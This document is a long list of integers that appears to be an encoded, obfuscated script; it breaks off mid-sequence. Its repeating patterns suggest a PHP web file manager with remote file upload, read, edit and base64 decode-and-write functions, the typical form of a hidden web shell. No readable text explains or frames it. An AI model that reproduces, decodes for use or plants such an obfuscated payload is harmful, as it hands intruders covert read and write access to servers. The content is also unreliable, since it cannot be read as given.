25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 39, 20, 29, 72, 94, 92, 39, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 73, 87, 94, 92, 100, 86, 90, 77, 88, 81, 17, 28, 24, 99, 20, 20, 17, 96, 99, 20, 102, 16, 18, 20, 17, 96, 99, 20, 102, 16, 18, 17, 20, 19, 31, 18, 4, 29, 24, 28, 21, 25, 29, 73, 21, 25, 29, 86, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 94, 87, 75, 94, 87, 25, 6, 25, 29, 86, 96, 10, 102, 0, 25, 29, 72, 81, 90, 87, 94, 25, 6, 25, 29, 86, 96, 23, 102, 0, 25, 29, 87, 94, 72, 77, 25, 6, 25, 29, 86, 96, 8, 102, 25, 4, 4, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 90, 87, 87, 90, 66, 100, 75, 90, 85, 78, 94, 72, 17, 90, 87, 87, 90, 66, 100, 91, 82, 85, 77, 94, 87, 17, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 87, 94, 72, 77, 18, 21, 25, 91, 83, 17, 29, 72, 18, 6, 3, 29, 72, 26, 6, 6, 28, 28, 18, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 20, 20, 28, 25, 19, 25, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 72, 94, 87, 75, 94, 87, 20, 29, 72, 81, 90, 87, 94, 39, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 25, 19, 25, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 20, 20, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 39, 29, 72, 94, 87, 75, 94, 87, 20, 29, 72, 81, 90, 87, 94, 39, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 28, 20, 20, 28, 25, 19, 25, 29, 72, 94, 87, 75, 94, 87, 25, 19, 25, 28, 20, 28, 25, 19, 25, 29, 72, 81, 90, 87, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 28, 20, 28, 25, 19, 25, 29, 72, 94, 92, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 29, 73, 90, 87, 77, 72, 25, 6, 25, 94, 65, 73, 85, 84, 93, 94, 17, 28, 20, 28, 21, 25, 29, 73, 18, 0, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 96, 102, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 17, 29, 73, 90, 87, 77, 72, 96, 9, 102, 25, 4, 4, 25, 28, 28, 18, 25, 6, 6, 6, 25, 28, 28, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 20, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 20, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 29, 90, 88, 88, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 94, 90, 88, 81, 25, 17, 29, 73, 90, 87, 77, 72, 25, 90, 72, 25, 29, 82, 25, 6, 3, 25, 29, 72, 94, 92, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 72, 94, 92, 25, 6, 6, 6, 25, 28, 28, 18, 25, 88, 84, 83, 77, 82, 83, 78, 94, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 90, 88, 88, 25, 19, 6, 25, 28, 20, 28, 25, 19, 25, 29, 72, 94, 92, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 82, 25, 6, 6, 6, 25, 88, 84, 78, 83, 77, 17, 29, 73, 90, 87, 77, 72, 18, 22, 10, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 94, 85, 72, 94, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 90, 25, 81, 87, 94, 91, 6, 39, 24, 39, 25, 93, 90, 77, 90, 22, 73, 90, 77, 81, 6, 39, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 90, 88, 88, 21, 25, 126, 115, 109, 100, 106, 110, 116, 109, 126, 104, 18, 19, 28, 39, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 39, 3, 28, 19, 81, 77, 86, 85, 72, 73, 94, 88, 82, 90, 85, 88, 81, 90, 87, 72, 17, 29, 72, 94, 92, 18, 19, 28, 5, 20, 90, 3, 28, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 84, 78, 77, 18, 25, 29, 84, 78, 77, 96, 102, 25, 6, 25, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 25, 88, 78, 87, 87, 94, 83, 77, 39, 3, 20, 5, 20, 72, 73, 90, 83, 3, 28, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 82, 86, 73, 85, 84, 93, 94, 17, 28, 5, 72, 73, 90, 83, 25, 88, 85, 90, 72, 72, 6, 39, 88, 87, 78, 86, 103, 22, 72, 94, 73, 39, 3, 25, 20, 25, 5, 20, 72, 73, 90, 83, 3, 28, 21, 25, 29, 84, 78, 77, 18, 0, 54, 63, 70, 54, 63, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 95, 72, 84, 83, 100, 87, 94, 72, 73, 84, 83, 72, 94, 17, 29, 93, 90, 77, 90, 21, 25, 82, 83, 77, 25, 29, 88, 84, 93, 94, 25, 6, 25, 23, 9, 9, 18, 15, 25, 75, 84, 82, 93, 25, 64, 54, 63, 25, 25, 25, 25, 81, 77, 77, 73, 100, 87, 94, 72, 73, 84, 83, 72, 94, 100, 88, 84, 93, 94, 17, 29, 88, 84, 93, 94, 18, 0, 54, 63, 25, 25, 25, 25, 81, 94, 90, 93, 94, 87, 17, 28, 120, 84, 83, 77, 94, 83, 77, 22, 109, 66, 73, 94, 15, 25, 90, 73, 73, 85, 82, 88, 90, 77, 82, 84, 83, 20, 95, 72, 84, 83, 0, 25, 88, 81, 90, 87, 72, 94, 77, 6, 110, 109, 123, 22, 1, 28, 18, 0, 54, 63, 25, 25, 25, 25, 94, 88, 81, 84, 25, 95, 72, 84, 83, 100, 94, 83, 88, 84, 93, 94, 17, 29, 93, 90, 77, 90, 18, 0, 54, 63, 25, 25, 25, 25, 94, 65, 82, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 93, 94, 88, 84, 93, 94, 25, 81, 94, 65, 25, 83, 90, 80, 65, 83, 25, 91, 87, 84, 86, 25, 105, 116, 104, 109, 20, 124, 126, 109, 21, 25, 88, 85, 90, 86, 73, 25, 77, 84, 25, 87, 84, 84, 77, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 87, 94, 74, 78, 94, 72, 77, 94, 93, 100, 73, 90, 77, 81, 17, 72, 77, 87, 82, 83, 92, 25, 29, 87, 84, 84, 77, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 87, 90, 76, 25, 6, 25, 29, 100, 105, 116, 104, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 4, 4, 25, 17, 29, 100, 124, 126, 109, 96, 28, 83, 90, 80, 65, 83, 28, 102, 25, 4, 4, 25, 28, 28, 18, 0, 54, 63, 25, 25, 25, 25, 29, 93, 94, 88, 84, 93, 94, 93, 25, 6, 25, 29, 87, 90, 76, 25, 26, 6, 6, 25, 28, 28, 25, 4, 25, 78, 81, 94, 65, 17, 17, 72, 77, 87, 82, 83, 92, 18, 29, 87, 90, 76, 18, 25, 15, 25, 29, 87, 84, 84, 77, 0, 54, 63, 25, 25, 25, 25, 29, 73, 90, 77, 81, 25, 6, 25, 17, 72, 77, 87, 82, 83, 92, 18, 29, 93, 94, 88, 84, 93, 94, 93, 0, 54, 63, 25, 25, 25, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 25, 6, 25, 72, 90, 91, 94, 100, 95, 84, 82, 83, 17, 29, 87, 84, 84, 77, 21, 25, 29, 73, 90, 77, 81, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 76, 82, 77, 81, 82, 83, 100, 87, 84, 84, 77, 17, 29, 87, 94, 72, 84, 85, 75, 94, 93, 21, 25, 29, 87, 84, 84, 77, 18, 18, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 25, 6, 25, 29, 87, 84, 84, 77, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 87, 94, 72, 84, 85, 75, 94, 93, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 110, 73, 85, 84, 90, 93, 25, 97, 116, 119, 22, 72, 77, 87, 94, 90, 86, 25, 17, 87, 90, 76, 25, 105, 116, 104, 109, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 65, 84, 87, 100, 93, 94, 88, 84, 93, 94, 100, 72, 77, 87, 94, 90, 86, 100, 78, 73, 85, 84, 90, 93, 17, 29, 82, 83, 21, 25, 29, 84, 78, 77, 18, 15, 25, 75, 84, 82, 93, 25, 64, 54, 63, 25, 25, 25, 25, 29, 103, 78, 91, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 76, 81, 82, 85, 94, 25, 17, 26, 91, 94, 84, 91, 17, 29, 82, 83, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 25, 6, 25, 91, 87, 94, 90, 93, 17, 29, 82, 83, 21, 25, 29, 103, 78, 91, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 103, 87, 94, 90, 80, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 88, 81, 78, 83, 80, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 17, 29, 82, 83, 93, 94, 65, 25, 31, 25, 10, 12, 25, 16, 25, 17, 82, 83, 77, 18, 91, 85, 84, 84, 87, 17, 85, 84, 92, 17, 29, 82, 83, 93, 94, 65, 25, 16, 25, 23, 18, 25, 31, 25, 73, 82, 17, 18, 25, 31, 25, 10, 9, 9, 9, 18, 18, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 88, 81, 78, 83, 80, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 76, 87, 82, 77, 94, 17, 29, 84, 78, 77, 21, 25, 29, 88, 81, 78, 83, 80, 18, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 6, 6, 6, 6, 6, 25, 126, 93, 82, 77, 84, 87, 25, 97, 116, 119, 25, 80, 94, 66, 25, 17, 85, 84, 92, 10, 9, 25, 16, 25, 81, 94, 65, 93, 94, 88, 18, 25, 6, 6, 6, 6, 6, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 82, 83, 77, 25, 29, 82, 18, 15, 25, 82, 83, 77, 25, 64, 54, 63, 25, 25, 25, 25, 29, 81, 25, 6, 25, 93, 94, 88, 81, 94, 65, 17, 17, 29, 82, 25, 31, 25, 8, 10, 25, 16, 25, 12, 18, 25, 27, 25, 9, 65, 123, 123, 123, 123, 123, 123, 123, 123, 18, 0, 54, 63, 25, 25, 25, 25, 29, 85, 90, 72, 77, 23, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 81, 21, 25, 22, 23, 18, 0, 54, 63, 25, 25, 25, 25, 29, 81, 65, 25, 6, 25, 81, 94, 65, 93, 94, 88, 17, 29, 85, 90, 72, 77, 23, 18, 0, 54, 63, 25, 25, 25, 25, 29, 80, 25, 6, 25, 17, 29, 81, 65, 25, 99, 25, 17, 29, 82, 25, 27, 25, 9, 65, 123, 123, 18, 18, 25, 16, 25, 17, 82, 83, 77, 18, 91, 85, 84, 84, 87, 17, 85, 84, 92, 10, 9, 17, 29, 82, 25, 16, 25, 8, 18, 25, 31, 25, 2, 12, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 80, 25, 27, 25, 9, 65, 123, 123, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 119, 126, 122, 125, 25, 17, 73, 85, 90, 82, 83, 18, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 87, 94, 90, 93, 100, 91, 82, 85, 94, 100, 73, 85, 90, 82, 83, 17, 72, 77, 87, 82, 83, 92, 25, 29, 91, 82, 85, 94, 18, 15, 25, 72, 77, 87, 82, 83, 92, 25, 64, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 91, 82, 85, 94, 21, 25, 28, 87, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 29, 103, 78, 91, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 29, 84, 78, 77, 25, 6, 25, 28, 28, 0, 54, 63, 25, 25, 25, 25, 76, 81, 82, 85, 94, 25, 17, 26, 91, 94, 84, 91, 17, 29, 91, 81, 18, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 25, 6, 25, 91, 87, 94, 90, 93, 17, 29, 91, 81, 21, 25, 29, 103, 78, 91, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 28, 28, 25, 69, 69, 25, 29, 88, 81, 78, 83, 80, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 103, 87, 94, 90, 80, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 84, 78, 77, 25, 19, 6, 25, 29, 88, 81, 78, 83, 80, 0, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 29, 84, 78, 77, 0, 54, 63, 70, 54, 63, 54, 63, 20, 31, 25, 104, 122, 107, 126, 25, 73, 90, 77, 81, 72, 25, 31, 20, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 103, 11, 13, 17, 72, 77, 87, 82, 83, 92, 25, 29, 94, 83, 88, 84, 93, 94, 93, 100, 103, 11, 13, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 93, 94, 72, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 87, 90, 76, 25, 6, 25, 103, 90, 72, 94, 11, 13, 100, 93, 94, 88, 84, 93, 94, 17, 29, 94, 83, 88, 84, 93, 94, 93, 100, 103, 11, 13, 21, 25, 77, 87, 78, 94, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 29, 87, 90, 76, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 87, 90, 76, 18, 0, 54, 63, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 84, 91, 91, 72, 94, 77, 25, 6, 25, 9, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 16, 6, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 87, 90, 76, 21, 25, 29, 84, 91, 91, 72, 94, 77, 21, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 72, 85, 82, 88, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 72, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 29, 82, 83, 93, 94, 65, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 76, 87, 82, 77, 94, 17, 29, 91, 81, 21, 25, 29, 72, 85, 82, 88, 94, 18, 25, 6, 6, 6, 25, 91, 90, 85, 72, 94, 18, 25, 64, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 25, 70, 54, 63, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 91, 88, 85, 84, 72, 94, 17, 29, 91, 81, 18, 0, 54, 63, 25, 25, 25, 25, 87, 94, 77, 78, 87, 83, 25, 77, 87, 78, 94, 0, 54, 63, 70, 54, 63, 91, 78, 83, 88, 77, 82, 84, 83, 25, 94, 93, 82, 77, 84, 87, 100, 72, 77, 87, 94, 90, 86, 100, 93, 94, 88, 84, 93, 94, 100, 90, 83, 93, 100, 76, 87, 82, 77, 94, 100, 85, 94, 92, 90, 88, 66, 17, 72, 77, 87, 82, 83, 92, 25, 29, 94, 83, 88, 84, 93, 94, 93, 21, 25, 72, 77, 87, 82, 83, 92, 25, 29, 93, 94, 72, 77, 18, 15, 25, 103, 84, 84, 85, 25, 64, 54, 63, 25, 25, 25, 25, 29, 94, 83, 88, 84, 93, 94, 93, 25, 6, 25, 72, 77, 87, 82, 73, 72, 85, 90, 72, 81, 94, 72, 17, 29, 94, 83, 88, 84, 93, 94, 93, 18, 0, 54, 63, 25, 25, 25, 25, 29, 91, 81, 25, 6, 25, 121, 91, 84, 73, 94, 83, 17, 29, 93, 94, 72, 77, 21, 25, 28, 76, 103, 28, 18, 0, 54, 63, 25, 25, 25, 25, 82, 91, 25, 17, 26, 29, 91, 81, 18, 25, 87, 94, 77, 78, 87, 83, 25, 91, 90, 85, 72, 94, 0, 54, 63, 54, 63, 25, 25, 25, 25, 29, 82, 83, 93, 94, 65, 25, 6, 25, 9, 0, 54, 63, 25, 25, 25, 25, 29, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 94, 83, 88, 84, 93, 94, 93, 18, 0, 54, 63, 25, 25, 25, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 25, 6, 25, 11, 14, 14, 8, 11, 0, 54, 63, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 84, 91, 91, 72, 94, 77, 25, 6, 25, 9, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 5, 25, 29, 85, 94, 83, 0, 25, 29, 84, 91, 91, 72, 94, 77, 25, 16, 6, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 25, 6, 25, 72, 78, 103, 72, 77, 87, 17, 29, 94, 83, 88, 84, 93, 94, 93, 21, 25, 29, 84, 91, 91, 72, 94, 77, 21, 25, 29, 88, 81, 78, 83, 80, 104, 82, 79, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 94, 83, 25, 6, 25, 72, 77, 87, 85, 94, 83, 17, 29, 72, 85, 82, 88, 94, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 91, 84, 87, 25, 17, 29, 82, 25, 6, 25, 9, 0, 25, 29, 82, 25, 5, 25, 29, 72, 85, 94, 83, 0, 25, 29, 82, 16, 16, 21, 25, 29, 82, 83, 93, 94, 65, 16, 16, 18, 25, 64, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 80, 94, 66, 25, 6, 25, 94, 93, 82, 77, 84, 87, 100, 65, 84, 87, 100, 80, 94, 66, 17, 29, 82, 83, 93, 94, 65, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 25, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 25, 6, 25, 88, 81, 87, 17, 84, 87, 93, 17, 29, 72, 85, 82, 88, 94, 96, 29, 82, 102, 18, 25, 99, 25, 29, 80, 94, 66, 18, 0, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 70, 54, 63, 25, 25, 25, 25, 25, 25, 25, 25, 82, 91, 25, 17, 91, 76, 87, 82, 77, 94, 17, 29, 91, 81, 21, 25, 29, 72, 85, 82, 88, 94, 